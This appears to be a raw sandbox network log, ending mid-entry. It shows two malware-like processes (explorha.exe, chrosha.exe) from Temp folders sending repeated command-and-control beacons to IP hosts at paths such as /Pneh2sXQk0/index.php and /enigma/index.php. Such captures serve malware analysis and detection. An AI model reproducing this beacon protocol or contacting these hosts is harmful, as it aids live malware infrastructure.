Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.5	50071	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:01.903209925 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:02.154031038 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.5	50072	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:02.002891064 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:02.247278929 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:31:02.248308897 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:02.501039028 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.5	50073	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:02.504271984 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:02.747591019 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.5	50074	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:02.865746975 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:03.111253023 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:31:03.118171930 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:03.368606091 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.5	50075	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:02.998181105 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:03.250096083 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.5	50076	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:03.615123034 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:03.858124971 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.5	50077	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:03.728660107 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:03.971520901 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:31:03.974216938 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:04.222142935 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.5	50078	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:04.105647087 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:04.351269007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.5	50079	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:04.579916000 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:04.821367025 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.5	50080	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:04.707042933 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:04.949771881 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.5	50081	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:05.065752029 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:05.309966087 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.5	50082	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:05.201503992 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:05.454641104 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.5	50083	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:05.667602062 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:05.916192055 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.5	50084	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:05.817188025 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:06.061609983 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.5	50085	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:06.164635897 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:06.413126945 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.5	50086	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:06.315279961 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:06.567028046 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.5	50087	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:06.770817041 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:07.013602972 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.5	50088	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:06.935767889 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:07.183952093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.5	50089	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:07.267776012 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:07.521595001 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.5	50090	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:07.437946081 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:07.691354990 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.5	50091	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
